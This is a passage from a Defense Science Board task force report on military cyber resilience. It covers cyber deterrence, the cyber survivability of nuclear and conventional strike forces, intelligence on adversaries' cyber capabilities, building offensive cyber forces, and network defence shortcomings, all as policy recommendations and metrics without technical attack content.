DEFENSE DSB TASK FORCE REPORT 4.0 Me asuring Progress| 39 Resilient Military Systems and the Advanced Cyber Threat conducting unannounced testing. Training costs could then be assessed by number of violations to both training events and real events. Performance metrics in other areas should also yield useful information . The following suggested performance metrics identify specific knowledge the Department would use to address its cyber resiliency status. An initial defense hygiene performance metric focusing on the numb er of audits conducted to a known standard should support comparison of network architectures and operating costs. This is in stark contrast to the current state of auditing which, if done at all, is conducted across an assortment of standards and network s, resulting in the inability to derive enterprise knowledge. Performance measures to track offensive cyber can start simply with focus on the number of certified individuals against time. As baseline data becomes available, the Department will better und erstand its cyber posture and capabilities and can add more sophisticated measures to accelerate insight and drive progress. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 5.0 Maintaining Dete rrence in the Cyber Era | 40 Resilient Military Systems and the Advanced Cyber Threat 5.0 Maintaining Deterrence in the Cyber Era In the process of conducting this study, it became apparent that the full spectrum cyber threat represented by a Tier V-VI capability is of such magnitude and sophistication that it could no t be defended against. As such, a defense -only strategy against this threat is in sufficient to protect U.S. national interests and is impossible to execute. Therefore, a successful DoD cyber strateg y must include a deterrence component . One key element of deterrence is the believable military capability to either defeat an attack or to provide a survivable response that holds at risk something the adversary highly values (i.e. the adversary’s cost exceeds the adversary’s gains). The top of that escalation ladder is the present U.S. nuclear deterrent . The cyber threat highlights another key element of deterrence theory --attribution. Providing attribution against an isolated cyber attack can be slow and difficult. However the Task Force believes that attribution can be accomplished for attacks that w ould reach the level o f really harming the country, because attacks of that scale require planning and multiple attack vectors - -which usually leave clues. T he Task Force believes attribution can be achieved for a sustained attack over a lengthy time period --whose integrative effects become catastrophic , as well as for a massive large -scale attack . In the former case, U .S. intelligence gathering is proficient at attribution when presented wit h sufficient time. In the latter case, large -scale attacks leave clues that provide attribution and even warning. The ultimate goal is to protect the country and provide global stability. A deterrence strategy that encompasses cyber requires that the U nited States be viewed as a credible cyber force by those who may wish to present a challenge. The strategy will require an escalation framework with associated signaling and red thin- line strategies, and credible survivable military capabilities. The specific force -level and mix of military capabilities for this deterrence strategy requires further study that is beyond the scope of this report. However the Task Force believes a comprehensive deterrence strategy that address es the cyber threat would certainly include offensive cyber and selected conventional military capabilities that are survivable and support a deliberate escalation ladder. 5.1 Background The Nuclear Posture Review (NPR), published in April, 2010, provided the Obama Administration’s roadmap for nuclear policy. It placed nuclear terrorism and proliferation as top priorities, along with reducing the role and numbers of nuclear weapons. One of the key conclusions from the 2010 NPR is given as follows : 27 “The United States will continue to strengthen conventional capabilities and reduce the role of nuclear weapons in deterring non -nuclear attacks, with the objective of making deterrence of 27 Nuclear Posture Review Report, 201 0 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 5.0 Maintaining Dete rrence in the Cyber Era | 41 Resilient Military Systems and the Advanced Cyber Threat nuclear attack on the United States …the sole purpose of U .S. nuclear weapons” (emphasis added). The United States would only consider the use of nuclear weapons in “extreme circumstances .” The United States would not use or threaten to use nuclear weapons against non -nuclear states who are parties to the nuclear proliferation treaty. The 2010 NPR did not refer to the “New Triad” (nuclear and conventional global strike, defensive systems, and responsive infrastructure) of the 2002 NPR, and instead called for continuation of the traditional Nuclear Triad ( e.g. bombers, ICBMs, SLBMs) , albeit with reduced warheads and delivery vehicles per the START Follow -On treaty between the U nited States and Russia. It is i mportant in the context of this report that the 2010 NPR was essentially silent on relationship between the U .S. nuclear deterrent, indeed the U .S. strategic deterrence posture, and the domain of cyber and cyber warfare . Presumably one would characterize a catastrophic Tier V -VI adversary cyber attack on the United States as “extreme circumstances” in the public language of the 2010 NPR , so that is not precluded in the stated policy, but it is not explicitly mentioned. Over the past decade , policy advocacy grew for a conventional global strike capability (2002 NPR, 2006 QDR). In these cases, there were essentially two arguments justifying a conventional strike capability: 1. To reduce the overall number and reliance on nuclear weapons by now holding nuclear targets at risk with precision conventional (non -nuclear) strike capabilities 28,29 2. To offer non -nuclear global strike alternatives to national leadership in time -critical scenarios30 The Task Force concluded that the severity of the Type V -VI cyber threat resulted in adding a third reason for a non- nuclear conventional and cyber survivable strike capability with a special emphasis on “survivability” : 3. To provide a non -nuclear but cyber survivable escalation ladder between conventional conflict and the nuclear threshold – that is to increase stability and build a new sub- nuclear red line in this emerging era of a cyber peer competitor delivering a catastrophic attack. Despite the past decade of policy deliberations on new conventional glo bal strike capabilities as part of a deterrence strategy, the situation today is such that the ultimate U.S. deterrent, 28 2002 Nuclear Posture Review Report 29 2006 Quadrennial Defense Review Report 30 DSB Task Force on Time Critical Conventional Strike from Strategic Standoff , March 2009 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 5.0 Maintaining Dete rrence in the Cyber Era | 42 Resilient Military Systems and the Advanced Cyber Threat including response against a catastrophic full spectrum cyber attack, is the nuclear triad – intercontinental ballistic missiles (ICBMs), submarine -launched ballistic missiles (SLBMs), and nuclear -capable heavy bombers. The nuclear command and control (NC2) of the nuclear forces is comprised of systems, communication paths, and procedures associated with National Security Presidential Direc tive ( NSPD )-28, which provides guidance to the Military Departments on the nature of redundant survivable communication paths to each nuclear delivery platform. Importantly, the definition of “survivability” in the traditional context of Nuclear C2 and fo rces usually referred to their credible ability to withstand a massive nuclear strike, with all of its attendant effects (including Electromagnetic Pulse ( EMP )), and then provide a counter value retaliatory response . The Task Force expands the definition o f survivability to include credible capability to withstand a Type V -VI cyber attack. 5.2 Recommendation : Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack).  SECDEF assign US STRATCOM the task to ensure the availability of Nuclear C3 and the Triad delivery platforms in the face of a full -spectrum Tier V -VI attack – including cyber (supply chain, insiders, communications, etc.) This Task Force recommends immediate action to assess and assure nation al leadership that the current U .S. nuclear deterrent is also survivable against the full- spectrum cybe r Tier V -VI threat described in the taxonomy of this report. Note that a survivable nuclear triad within a full-spectrum , cyber -stressed environment is required regardless of whether or not one believes U.S. retaliatory response with our nuclear forces is a credible response to a major cyber attack. In other words, the basic characteristics of the traditional U .S. nuclear deterre nt incorporates s urvivability as a basic precept ; now the U .S. must add survivability in the event of a catastrophic cyber attack on the country as a basic precept. 5.3 Recommendation: Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabil ities Necessary for Assured Operation in the Face of a Full -Spectrum Adversary.  SECDEF and Chairman, Joint Chiefs of Staff (12 months) The Task Force is confident in the need for assured operation to all three – cyber , protected- conventional, and nuclear – capabilities , including their required C3I infrastructures, a gainst advanced cyber threats. Further analysis is necessary to determine the optimal mix of these capabilities , especially the role of offensive cyber and protected -conventional to for m the rungs of an escalation ladder designed to introduce elements of deterrence against Tier V-VI attackers . Recommendation 5.2 addresses the assured availability of the nuclear capability. Similar to the prior argument regarding the cyber resiliency of the nuclear deterrent, DoD must ensure some portion of its conventional capability is able to provide assured operations for theater and regional operations within a full -spectrum , cyber -stressed environment. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 5.0 Maintaining Dete rrence in the Cyber Era | 43 Resilient Military Systems and the Advanced Cyber Threat The Task Force addresses full spectrum c yber portion later (Chapters 7 and 8). However, the use of offensive cyber as part of an escalation ladder needs further study to determine where and how it can be effectively used. In particular, c yber’s inherent stealth nature makes signaling difficult and d eliberate signaling may divulge capabilities that then could be easily countered. The Task Force identified the fundamental attributes of a survivable conventional strike capability comprising the protected- conventional rungs of the escalation ladder :  Credible counter value effects on target(s) – globally and promptly  Unambiguous signal ing, as part of an escalation ladder, non -nuclear options , capabilities and intentions  Reliable, safe, and secure; (High confidence of operation in a cyber contested environment)  Treaty compliant  Affordable – maximize use of existing systems and infrastructure  Redundant and cyber survivable command and control (C2) Because the expected cost of implementing cyber resiliency against V -VI threats is significant , the protected- conventional capability must support a very limited number of cyber - critical, survivable missions . Overextending cyber resiliency for all conventional capability will overwhelm DoD resources (technical, managerial, and financial). DoD must discipline itself to identify sufficient protected- conventional capability for assured operations. Furthermore, cyber resiliency can only be achieved by segmenting and isolating f orces from general purpose forces. In the absence of a cyber threat, segmented forces are likely to possess slightly less capability than their non- segmented counterparts due to the isolation from every part of the supporting infrastructure which generate s so much advantage to DoD. However, in the face of an adversary employing cyber, the segmented forces will provide far more capability than the ir non-segmented counterparts. 5.3.1 Segment Sufficient Forces to Assure Mission Execution in a Cyber Environment Segmentation must differentiate only sufficient forces required to assure mission execution; it is not required across an entire capability. For example, if long range strike is a component of the protected -conventional capability , the DoD should segment a quantity sufficient to provide mission assurance in a hostile cyber environment (notionally , 20 aircraft designated by tail number, out of a fleet of hundreds, segregated and treated as part of the cyber critical survivable mission force ). Segmented forc es must remain separate and isolated from the general purpose forces with no dual purpose missions (e.g. the current B -52 conventional/nuclear mission). As a starting point, t he Task Force proposes the basic force elements comprising a protected- conventional capability take the form of a survivable second strike conventional mission described in Table 5. 1 and listed below: DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 5.0 Maintaining Dete rrence in the Cyber Era | 44 Resilient Military Systems and the Advanced Cyber Threat  Long Range Bombers with precision cruise missiles – currently operational with varying force mix options and numbers  SSGN with long -range precision cruise missiles – currently operational with capability up through Tomahawk Block IV (offering an upper limit of greater than 600 w eapons assuming four SSGNs at sea)  Conventional ballistic missiles or ballistic/glide hybrids - none currently operational; experimental concepts being tested  Survivable national and CCMD C2 leveraging nuclear thin line The above supported by: o Build “true” Out -of-Band Command and Control for the most sensitive systems o War reserve simplified operating systems 5.3.1.1 SECDEF assign Unified Command Plan ( UCP) Mission of Protected -Conventional Strike to US STRATCOM .  USSTRATCOM given target for initial operating capability (IOC) (24 months)  USSTRATCOM provide desired planning factors (pre -”launch” survivability, Communications and C2 reliability, targeting/damage expectancy, etc) (6 months)  USD(AT&L) , in coordination with CIO, perform a system of systems (SoS) analysis on selected conventional strike capabilities to determine risk and define an acquisition plan to ensure an enduring survivable capability (6 months)  Under Secretary of Defense for Policy ( USD(P)) engage multi -agency count erparts for an updated Strategic Deterrence Strategy in 2014 NPR – cyber e scalation scenarios on both sides (12 months) USSTRATCOM integrate offensive cyber capabilities , as described in Chapter 7, with protected -conventional UCP mission. Table 5. 1 Notional Elements of Protected -Conventional Strike Capability. Precision Strike Platforms C3 Submarines with Long Range (1000+ nmi) Cruise Missiles Advanced EHF, ELF/VLF, Dedicated Fiber Penetrating Bombers CCMD & Senior Leader Decision Tools & Displays Long - Range Conventional Missiles Emergency Action Messages (EAMs) for Conventional Strike (“CAMs”) DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 5.0 Maintaining Dete rrence in the Cyber Era | 45 Resilient Military Systems and the Advanced Cyber Threat 5.4 Conventional Deterrent Me asures Figure 5. 1 shows measures proposed to support the creation of a conventional deterrent as an escalation path to our nuclear deterrent. The establishment of the system performance measures in the previous Chapter called for (starting at the bottom of figure 4.2) the establishment of planning factors, the selection of the “critical systems” that would be included as part of the conventional deterrent, and acquisition plans to bring those capabilities online. As the identified critical systems are modified and built , they would be measured for availability in a stressed cyber environment. Since this is expected to be a relatively small number of systems, each would be measured through analysis, testing or war games for:  Connectivity to leadership C2 ( President of the United States ( POTUS )/USSTRATCOM )  Prelaunch survivability of the system  Reliability of delivering payload to target It's envisioned that each measurement would be in the form of a calculated availability from test and analysis results. The “ rolled up ” average across systems would be displayed on a dial chart, with red, yellow and green portions as availability is increased. The calculated combination of these three measures provides a force availability measurement of our conventional deterrent capability in a stressed cyber environment. While it may take several years to build the maturity in the systems to be able to populate the force availability metric, the experience gained producing the connectivity, survivability and delivery metrics build to that ultimate Force A vailability result . Figure 5. 1 Conventional Deterrent M easures DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 6.0 Collecting Intelligence on Peer Adversaries’ Cyber Capabilities | 46 Resilient Military Systems an d the Advanced Cyber Threat 6.0 Collecting Intelligence on Peer Adversaries’ Cyber Capabilities 6.1 Background: Scope of Higher -Tier Threats The Task Force receive d briefings on widespread intrusions and the theft of significant amounts of technical information from government and U.S. industrial base networks . There is ample open source evidence to indicate that adversaries are planning high -end attacks. Chinese doctrinal writings31 on cyber and asymmetric warfare portend that country’s use of cyber - based means to disconnect and disable U .S. Command, Control, Communications, Computers, Intelligence, Surveillance, and Reconnaissance (C4ISR) and DoD fighting elements in the event of a conflict. The widespread theft of intellectual property (IP) from the DoD and U.S. industrial base, could position prospective adversaries with the knowledge needed to employ countermeasures to advanced U .S. military systems, and also sh orten a given adversary’s research and development timelines for such countermeasures . The Task Force was briefed on Internet -based threats to information systems that originate abroad as well as within CONUS, using “hop points” to avoid some U .S. countermeasures that can only be used against foreign - based threats. These cyber -based capabilities provide a baseline from which to develop and field offensive cyber tools aimed at denying U .S. access to systems and networks. While the cyber realm pres ents asymmetric vulnerabilities to networked systems today, h igh end threats have been around for a long time, and are not confined to software and network operations. During the Cold War , for example, the United States knew of widespread Soviet theft of US intellectual property , and implemented a program to counter the theft.32 The importance of countering cyber threats to U.S. National Security is increasingly recognized by U.S. leadership. In a recent hearing before the Senate Select Committee on Int elligence, FBI Director Mueller said “I do not think today it [cyber] is necessarily the number one threat, but it will be tomorrow. Counterterrorism and stopping terrorist attacks, for the FBI, is a present number one priority. But down the road, the cyb er threat, which cuts across all programs, will be the number one threat to the country.”33 6.2 Recommendation : Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies.  SECDEF , in coordination with the Directors of the Central Intelligence Agency ( CIA), Federal Bureau of Investigation ( FBI), and the Department of Homeland Security 31 Oakley, John, “Cyber Warfare: China’s Strategy to Dominate in Cyber Space,” 2011; US Army Command and General Staff College 32 Weiss, Gus W (1996), "The Farewell Dossier: Duping the Soviets" , Studies in Intelligence (Central Intelligence Agency) 33 Transcript, 31 January 2012 Senate Select Intelligence Committee open hearing on worldwide threat DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 6.0 Collecting Intelligence on Peer Adversaries’ Cyber Capabilities | 47 Resilient Military Systems an d the Advanced Cyber Threat (DHS ), should require the DNI to enhance intelligence collection and analysis on high -end cyber threats. Request the creation of an Intelligence Community -wide implementation plan that defines implementable enhancements, and their resource impact on DoD , DHS elements CIA and FBI. (12 months) Subversions of sophisticated hardware and software systems are extraordinarily difficult to detect through testing and inspection. This led the DSB Task Force to conclude that deeper intelligence about adversaries’ offensive software and hardware tools is essential to counter high -end, state -sponsored cyber threats , because it can help focus U .S. efforts on likely targets of compromise. This intelligence must include the following :  Identification and understanding of adversarial cyber weapon development organizations, tools, partnerships (e.g., supply chain), leadership, and intentions;  Development of targeting information to support initiatives to counter cyber weaponization;  Accurate assessment of adversarial plans and capabilities for policy makers . Previous DSB reports have addressed both the importance of intelligence and the associated challenges of meeting these intelligence requirements. Based upon the impossibility of sufficiently mitigating a Tier V -VI threat without filling these intelligence gaps and the national security impact of not effectively addressing this threat, the I ntelligence Community must increase the priority of its intelligence collection and reporting requirements in this domain. 6.2.1 In response to sta te sponsored threats, the Task Force recommends the creation of a counterintelligence capability to directly address the most sophisticated threats using tools and techniques derived from both defensive and offensive U .S. cyber programs.  Additional det ails are provided in Appendix 6. 6.3 Intelligence Performance Measures It is essential that organizations throughout the Department (and the United States Government) understand what impact cyber attacks are having on government systems, and what is being done to counter such attacks. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 6.0 Collecting Intelligence on Peer Adversaries’ Cyber Capabilities | 48 Resilient Military Systems an d the Advanced Cyber Threat Organizations in the Department today, however, do not generally share details about cyber attacks that have compromised t heir systems. Instead , system compromises are often classified , keeping people in the dark who must be aware so they can anticipate similar attacks . Consequently, DoD organizations are trying to field defenses based only on partial knowledge of what kind of vulnerabilities are being exploited. Early performance metrics in intelligence, as illustrated in Figure 6.1 would track the number of reports generated, and the number of those reports that actually gene rated changes to our systems to better protect them. Further refinement could include a feedback mechanism to track adversary reaction to the initial changes enabled by intelligence. Figure 6. 1 Intelligence DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 7.0 Developing World -Class Cyber Offensive| 49 Resilient Military Systems and the Advanced Cyber Threat 7.0 Developing World -Class Cyber Offensive Capabilities 7.1 Background To prevent the threat of cyber attack from limiting U.S. freedom of action in the global economic and political system, no strategic competitor or adversary can be allowed to gain (or mistakenly believe that they have gained) offensive cyber superiority. The U .S. must be a superior competitor in the cyber domain. C urrent trends , however, could lead so me of our country’s adversaries to believe that th eir offensive cyber capabilities, together with their mission -critical defensive postures, are sufficient to neutralize current U .S. conventional or nuclear force capabilit ies, and thereby hold at risk critical U .S. infrastructures vital to the Nation’s economic, political and military operations. Cyber offense is both an enabler for military operations and, as argued in previous chapters, is a critical rung in the escalation ladder for U .S. deterrence strategy. Offensive cyber operations require sustained privileged access to a target system or network . Gaining such privileged access is challenging for most targets of military interest. One must discover or create useful vulnerabilities to gain access, and escalate privilege. Moreover, the existe nce of this avenue must remain undiscovered by the target for significant periods of time . Target system or network configurations are subject to unexpected changes and upgrades , so an avenue of access that worked one day might not work the next. The adv ersary can also be expected to employ highly -trained system and network administrators , and this operational staff will be equip ped with continuously improving network defensive tools and techniques (the same tools we advocate to improve our defenses) . Should an adversary discover an implant, it is usually relatively simple to remove or disable. For this reason, offensive cyber will always be a fragile capability. Cyber offensive weapons also add a new complexity to warfare . Unlike a conventional bomb, where once it detonates has no further military value, a cyber weapon , if not carefully designed, can be potentially reused by the enemy or “bounce back” and potentially threaten our own systems. Discovering which of an adversary’s system and network components are useful targets requires full-spectrum intelligence support. Intelligence support assets are almost always in short supply and, in the case of those needed to support offensive cyber planning, the shortage is even more acute . In some cases, a component of the system or network of interest may already have been fitted with some level of access arising from non -offensive cyber intelligence priorities. Such access may be helpful but still not offer the granularity needed for precise military t argeting. For example, an intelligence agency may have access on a network used for DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 7.0 Developing World -Class Cyber Offensive| 50 Resilient Military Systems and the Advanced Cyber Threat intelligence exploitation and US CYBERCOM34 may desire to develop an order of battle plan against that target. Intelligence interest may stop at a server or router i n the n etwork, to conduct intelligence operations at those points. US CYBERCOM’s mission requires situational awareness and access down to the terminal or device level in order to support attack plans . USCYBERCOM would need to work with intelligence agencies to e nsure the portions of the system they disable don’t disable critical intelligence assets. In other cases, no pre -existing access will be in place and the access effort must start from scratch. History shows that such situations can take a long time (i.e., months or years) to achieve results. Given the potential stealth (e.g. widespread deployment of relatively undetectable “sleeper malware”) and much more compressed time scales likely to be associated with cyber conflicts, a much better understanding of the dimensions and escalatory consequences of such conflicts is needed. Of special significance is the possibility that a well- orchestrated, pre-emptive cyber strike by an adversary , who is able to fully integrate multiple cyber and non -cyber capabilities , could render the U .S. incapable of using any of its own offensive capabilities for a retaliatory strike. The time -honored principles of Initiative and Offense will undoubtedly remain paramount in cyber conflict strategy and doctrine . U.S. policy must clearly indicate that offensive cyber capabilities will be utilized (preemptively or in reaction; covertly or overtly), in combina tion with other instruments of national power, whenever the National Command Authority decides that it is appropr iate. The recent DoD Cyber Strategy leaves this option open and discusses potential U .S. responses to cyber attack. The appropriate authorities must exist with those responsible to protect U .S. interests. The intellectual and empirical underpinnings fo r strategy and doctrine for kinetic, nuclear, counterterrorism, counterinsurgency , and other missions have been extensively documented and debated for decades. Most modern militaries have adapted these underpinnings to their own situations and have implem ented them with in their own contexts. In contrast , relatively little has been documented or extensively debated concerning offensive cyber operations. This is especially true with respect to the use of offensive capability as a component of a larger strat egic deterrence that, to be effective, must achieve visible results against the adversary but not reveal enough about the capability for an adversary to create a defense . DoD should expect cyber attacks to be part of all conflicts in the future, and DoD should not expect adversaries to play by U .S. versions of the rules (e.g. should expect that they will use surrogates for exploitation and offensive operations, share IP with local industries for economic gain, etc.) 34 USCYBERCOM is respo nsible for planning, coordinating, integrating, synchronizing, and directing activities to operate and defend the Department of Defense information networks and when directed, conducts full -spectrum military cyberspace operations (in accordance with all ap plicable laws and regulations) in order to ensure US and allied freedom of action in cyberspace, while denying the same to our adversaries. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 7.0 Developing World -Class Cyber Offensive| 51 Resilient Military Systems and the Advanced Cyber Threat USCYBERCOM , and its supporting Service Component Commands , must be the driving force to surfa ce the doctrine, organization, training, materiel, leadership and education, personnel and facilities (DOTMLPF) /Unity -of-Effort gaps and advocate for requisite gap -closure actions. The Intelligence Community and other United States Government Departments and Agencies, with distinct and overlapping authorities, also have key supporting responsibilities. Given the nation’s cyber defensive posture, time is of the essence in deve loping a broader offensive cyber capability. 7.2 Recommendation : Build and Maintain World -Class Cyber Offensive Capabilities (with Appropriate A uthorities). 7.2.1 Commander USCYBERCOM Develop a C apability to M odel, War Game, Red Team and Eventually T rain for F ull Scale Peer-on-Peer Cyber Warfare.  Select an FFRDC -like Center of Excellence . (within 6 months)  Develop capability to model peer -on-peer (red & blue with supporting situation awareness tools and techniques) full scale conflict, similar to nuclear exc hange models (trigger uncertainties, deliver link probabilities, blow -back risk, recovery abilities and timelines, etc.) (IOC within 18 months of contract award)  Develop model and validate —evolve through red team and cyber range/war game exercises. Move beyond tabletop level of sophistication. (IOC within 18 months of modeling capability ) Planning for and successfully executing a single offensive cyber operation requires a significant set of competencies (e.g. computer science , engineering , encryption, linguistic s, geo -political context, military planning and targeting , and more) . Given peer and near -peer adversaries who may wish to challenge the United States via cyber aggression, the DoD must develop the capacity to conduct many (potentially hundreds or more) simultaneous, synchronized offensive cyber operations, while defending against a like num ber of cyber attacks . Today , U.S. activities are focused on individual targets in relatively static environments. Understanding interactions and dependencies involved in large scale cyber battle will be required to plan the battle, determine the scale of forces required, and conduct operations at time of conflict. This situation is similar to when the United States was at the end of W WII, with the newly developed nuclear bomb. It took decades to develop an understanding of how to best use the weapon , and the strategies to achieve stability with the Soviet Union ( based on mutually assured destruction). Much of that work started at The RAND Corporation , an FFRDC, with toy rocket surrogate s and table top exercises , growing over time into sophisticated simulations and tests that led to strategies for protecting the country. The U nited States should expect that a similar kind and level of effort will be necessary to mature its understanding and strategies for the use of cyber offensive capabilities. Unfortunately, the Task Force could find no evidence of modeling or experimentation being undertaken to better under stand the large -scale cyber war . NSA’s recent “ red flag war game ” is one of the fe w exceptions that have begun to explore the implications of large -scale cyber operations during the fog of war. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 7.0 Developing World -Class Cyber Offensive| 52 Resilient Military Systems and the Advanced Cyber Threat Modeling and understanding a peer -on-peer conflict, with many sorties taking place at once, triggering mechanisms for our own attacks coming and going as networks go offline, addressing blowback of attacks onto its own assets, etc., will be a very complicated undertaking. Even more challenging is that, unlike use of a nuclear weapon (presumably under only extraordinary conditions or threat), cyber attacks are expected in every future conflict, and as discussed earlier in the report, the most significant vulnerability is in the U .S. critical infrastructure on which both the military capabilities and civilian populations depend. To determine the scale of forces needed and the optimal strategies to defend our country, a robust understanding of large scale cyber offense is required. Moreover, the adversary gets a vote. Cyber war is unlikely to be fought as the U nited States might like to assume it will be. The U nited States must be ready to adapt to an adversary that is willing to create its own rules. 7.2.2 USD(P) should establish a policy framework for Offensive Cyber Actions to include who has what authority (for specific actions), under what circumstances, under what controls.  Completion Date: 18 Months The appropriate authorities must exist with those responsible to protect U .S. interests. Cyber actions can take place in very short time periods and those responsible to protect the country must understand their roles and authorities . This Task Force has not extensively studied or made recommendations about the definition of “appropriate authorities .” Several other efforts are underway in the administration to address this issue and DoD is only one of many players in the broad protection of the United States against cyber attack. 7.2.3 Commander, USCYBERCOM to increase the number of qualified cyber warriors, and enlarge the cyber infrastructure commensurate with the size of the threat.  Completion Date: 18 Months The DoD has qualified cyber warriors on the job today, supported by robust training programs and cyber toolsets. However there appears to be a “burnout factor” beginning to exhibit itself among these elite people. The Department must scale up efforts to recruit, provide facilities and training, and use these critical people effectively . The Task Fo rce believes there is general agreement today that more cyber warriors are needed, however, no conclusion on the ultimate size for which the department should plan has been reached . Executing this recommendation will generate a requirement for the cyber w arrior force size . 7.2.4 USD(P&R) , in collaboration with the Commander, USCYBERCOM and the Service Chiefs establish a formal career path for DoD civilian and military personnel engaged in “Offensive Cyber Actions”  Address training and certification requirem ents DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 7.0 Developing World -Class Cyber Offensive| 53 Resilient Military Systems and the Advanced Cyber Threat  Define career designations  Define incentives for personnel achieving higher levels of certification  Ensure that there is a cadre of high -end practitioners  Completion: 18 Months with quarterly reviews with the DEPSECDEF “Cyber Warrior” is a new domain for the Department, and this new class of job will require career paths, training expectations and incentives to attract and develop the needed expertise. It is not clear that high -end cyber practitioners can be found in sufficient numbers within ty pical recruitment pools. The DoD has the ability to define what it needs and adjust its personnel policies to enable achievement of that goal. 7.3 World -Class Offense Measures Building a world -class cyber offense is already well on its way within the Department. The elements needed to ensure a successful capability are:  A sufficient number of trained cyber warriors  A formal career path to allow cyber expertise to be rewarded  The ability to model and simulate peer- on-peer cyber conflict at scale  The ability to conduct war games against Tier VI capable adversaries Notional system performance metrics are depicted in Figure 7.1. The first proposed metric is the simple measure of the number of certified cyber warriors over time. The measure would als o include a breakdown of the levels of capability comprised within the total number. By tracking the number over time, the Department can ensure it is growing the number of cyber warriors. As modeling and simulation capabilities are further developed, the DoD will be able to project the needed levels of cyber warriors to conduct potential expected operations. At that point a target would be added to the metric. The second metric focus es on the ability to model and better understand peer -on-peer cyber warfare. The proposed metric is a dial scale building from today's limited understanding of single and small numbers of attacks based on a few network elements up through developing the ability to model and simulate conflicts with hundreds or even thousands of simultaneous events. The final metric is a measure of war game sophistication. Today most war games and red teams are conducted using low and mid -Tier attack capabilities only. The NSA's recent Red Flag exercise was one of the first attempts at measuring systems against more advanced attack capabilities. DoD must build cyber ranges that can be isolated and controlled, yet still operated at a reasonable scale to continue to develop understanding of the vulnerabilities of operational Figure 7. 1 World - Class Offense Metrics DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 7.0 Developing World -Class Cyber Offensive| 54 Resilient Military Systems and the Advanced Cyber Threat system s against attacks up to Tier VI sophistication. This measure would take an average of all red teams and war games conducted in any period by the level of sophistication of the threat used in each exer cise. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 55 Resilient Military Systems and the Advanced Cyber Threat 8.0 Enhancing Defenses to Thwart Low - and Mid -Tier Threats 8.1 Background For more than 15 years, the Department has invested significant resources (people and funding) in an effort to prevent, detect and respond to a full range of cyber threats. Recognizing the interdependency of DoD systems and networks, there has been an attempt to put in place a formal framework and integration capability (Defense -Wide Information Assurance Program and Global Information Grid Information Assurance Program) to provide coherency to the individual Service and Agency programs. The Information Assurance (IA) Component of the DoD Global Information Grid, approved in 2005 provided a broad architectural baseline for implementation of IA and network defense measures. 35 Strong authentication based on the Common Access Card (CAC) and Public Key Infrast ructure (PKI) capabilities and other Defense in Depth mechanisms added to the overall “assurance” of the networks. Then, based on a significant infection of the Unclassified but Sensitive Internet Protocol (IP) Router Network (NIPRNet) and the Secret Internet Protocol Router Network (SIPRNet )in 200 8, deployment of additional te chnologi es, e. g., Host Based Security System (HBSS) and other hardening and situational awareness tools were accelerated. While well- intentioned and strongly supported, these and subsequent initiatives have not had the desired impact on the overall IA posture of the Department. Defensive measures implemented at the boundaries between the NIPRNet and the Internet proved to be only marginally effective in blocking successful int rusions or reducing the overall attack surface of DoD networks and systems. Mobile platforms (smart phones, tablets, etc.) exacerbate this already challenging problem. Red teams , conducting operations during military exercise s or at the request of Milit ary Department and Agen cy officials , continue to have a nearly perfect success rate breaking into the systems . Within classified network s, once thought to be safe for military command and control traffic , our adversary has success fully penetrated vulnerab ilities created by poor user practices and a lack of discipline at all levels of the command structure. Operation BUCKSHOT YANKEE was clearly a wake -up call, suggesting that every system relied on for the conduct of war fighting operations is at risk of exploitation by an increasingly sophisticated adversary; an adversary ready and able to exploit any technical or human weakness to achieve their objectives. After - action reports, long after the detection and mitigation of this se rious infection of a classified network, continue to point at residual weaknesses. Heightened awareness, enhanced detection capabilities , and greater accountability of everyone concerned with activities involving the network have not fully eliminated the threat vector originally leveraged in BUCKSHOT YANKEE. 35 DoD 8570.01 -M; Information Assurance Workforce Improvement Program, December 19, 2005 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 56 Resilient Military Systems and the Advanced Cyber Threat The complexity of systems and networks , connectivity and interdependence (with other DoD, contractor and commercial provider networks); inadequately trained (and overworked) system administ rator and maintenance personnel ; lack of comprehensive automation capabilities that would free trained personnel to foc us on the most serious problems ; lack of broad visibility into situational awareness of systems and networks and inadequate or non -existent Mission Assurance Strategies and Plans all contribute to a “Readiness” level that is well below what is appropriate or needed for the Department to project power in the face of the asymmetric threat facing the Nation today. These i ssues have been the subject of numerous studies, reports, briefings and discussions between all levels of the Department, yet forward progress remains slow while the threat continues to grow rapidly . The DoD CIO’s IT Modernization and Joint Information Enterprise initiative recognize s and addresses many of the existing shortcomings. This effort focused on:  Collapsing networks  Providing for a single authoritative source for Directory and Access  Consolidation of Datacenters  Common Enterprise Services  Effective Enterprise governan ce to achieve compliance  Adequate funding The effort to date is not measurably different than previous attempts (implemented through the Defense Information Assurance Program ( DIAP ) and the Global Information Assurance Portfolio ( GIAP) to achieve similar ends. This effort must be expanded to include a specific Enterprise Architecture (EA) that becomes THE target architecture for every Military Department and Agency within the DoD. 8.2 